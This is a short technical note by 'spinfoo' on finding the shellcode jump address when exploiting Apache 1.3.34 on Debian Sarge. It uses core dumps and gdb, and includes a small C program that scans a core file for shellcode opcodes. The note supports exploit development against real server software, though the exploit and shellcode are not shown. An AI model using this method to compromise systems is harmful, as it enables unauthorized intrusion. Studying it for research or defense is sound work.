| On my environment Debian Sarge with Apache 1.3.34 installed from apt-get, the address which I had to jump to execute the shellcode was 0x0834ae77. As this address it is not helpful at all in exactly the same conditions, here a little help to figure out this address in your environment. |
To guess the address I thought different methods. Please, if you find another way would be nice to hear from you :)
The first thing
to do (obviously to exploit a machine which is yours and you have root
access) is enable Core Dump support for apache. Once you got the core file from
the server (trying with some trivial address like 0x01020304) establish a
mapping between adresses of the core file and memory addresses.
To establish the mapping, I searched into the crashed process' memory map
(gdb /usr/sbin/apache core) what contains some random address, i.e.
0x0808bbc0, now you know some memory address and its content. Now searching for
the contents into the core file you can get the offset (difference between
memory addresses and core file addresses). In my case I was able to access 0x0808bbc0
in the core file using an offset of 0x8bc0, i.e. memory address 0x0808bbc0 was
dumped to 0x8bc0 in the core file.
I wrote a naive program to ease the finding of the shellcode address:
#include <stdio.h>
int main() {
FILE *f;
char c, u, z;
int addr= 0x0808bbc0;
f= fopen("core", "r");
fseek(f, 0x8bc0, SEEK_SET);
fread(&z, 1, 1, f); addr++;
fread(&u, 1, 1, f); addr++;
while (!feof(f)){
fread(&c, 1, 1, f); addr++;
if (z == '\x90' && u == '\x89' && c == '\xe6') {
printf("addr: 0x%x\n", addr);
}
z= u; u= c;
}
return 0;
}
Where addr is the address where the heap begins, and \x90, \x89 and \xe6
is some shellcode's OPcodes to find. Once we got some addresses, using gdb we
can check whether it is the correct one or not.
Note: I suppose that you already know that linux kernel uses Virtual Address space Randomization since version 2.6.11, so it is "impossible" to take advantage in those situations.
(c) spinfoo